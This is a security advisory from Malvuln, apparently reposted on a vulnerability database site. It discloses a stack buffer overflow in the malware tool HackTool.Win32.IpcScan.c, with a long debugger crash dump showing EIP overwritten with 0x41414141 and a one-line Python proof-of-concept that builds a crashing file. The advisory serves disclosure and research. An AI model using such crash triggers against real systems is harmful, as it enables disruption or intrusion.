Monday, April 18, 2022

HackTool.Win32.IpcScan.c Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8f44374d587eb1657d25da9628cb2b87.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HackTool.Win32.IpcScan.c
Vulnerability: Local Stack Buffer Overflow
Description: Loading a specially crafted PE file will cause a stack buffer overflow overwriting the ECX and EIP registers.
Family: IpcScan
Type: PE32
MD5: 8f44374d587eb1657d25da9628cb2b87
Vuln ID: MVID-2022-0549
Disclosure: 04/14/2022

Memory Dump:
(d60.c9c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a13f0 ebp=000a1410 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
41414141 ?? ???

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe
*** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe
Matched: 744f0021 msvcrt!ReadString (void)
Matched: 744f4491 msvcrt!ReadString (void)
Matched: 744faf90 msvcrt!ReadString (void)
Matched: 744fbf79 msvcrt!ReadString (void)
Matched: 744ffe60 msvcrt!ReadString (void)
Matched: 745010d1 msvcrt!ReadString (void)
Matched: 7450e2b4 msvcrt!ReadString (void)
Matched: 7450f52e msvcrt!ReadString (void)
Matched: 745119d4 msvcrt!ReadString (void)
Matched: 74512d75 msvcrt!ReadString (void)

FAULTING_IP:
msvcrt!ReadString+12f
7450e3e3 8801 mov byte ptr [ecx],al

EXCEPTION_RECORD: 0019ec24 -- (.exr 0x19ec24)
ExceptionAddress: 7450e3e3 (msvcrt!ReadString+0x0000012f)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME: HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
+12f
41414141 ?? ???

FAILED_INSTRUCTION_ADDRESS:
+12f
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0019ec74 -- (.cxr 0x19ec74)
eax=00000041 ebx=00000020 ecx=001a0000 edx=0019f18c esi=0019f15c edi=0019f180
eip=7450e3e3 esp=0019f0d4 ebp=0019f0f8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
msvcrt!ReadString+0x12f:
7450e3e3 8801 mov byte ptr [ecx],al ds:002b:001a0000=41
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 7450f0b8 to 7450e3e3

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:
0019f0d4 7450e3e3 msvcrt!ReadString+0x12f
0019f100 7450f0b8 msvcrt!_input_l+0xab8
0019f310 745030e0 msvcrt!vfscanf+0xe0
0019f358 74502fcb msvcrt!fscanf+0x1b
0019f374 00402b98 hacktool_win32_ipcscan_c+0x2b98
0019f380 0019f394 unknown!unknown+0x0


STACK_COMMAND: .cxr 000000000019EC74 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19f0d4 ; kb

SYMBOL_NAME: msvcrt!ReadString

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: msvcrt

IMAGE_NAME: msvcrt.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msvcrt.dll!ReadString

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_msvcrt!ReadString


Exploit/PoC:
python -c "print('MZ'+'A'*10000)" > DOOM.exe

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore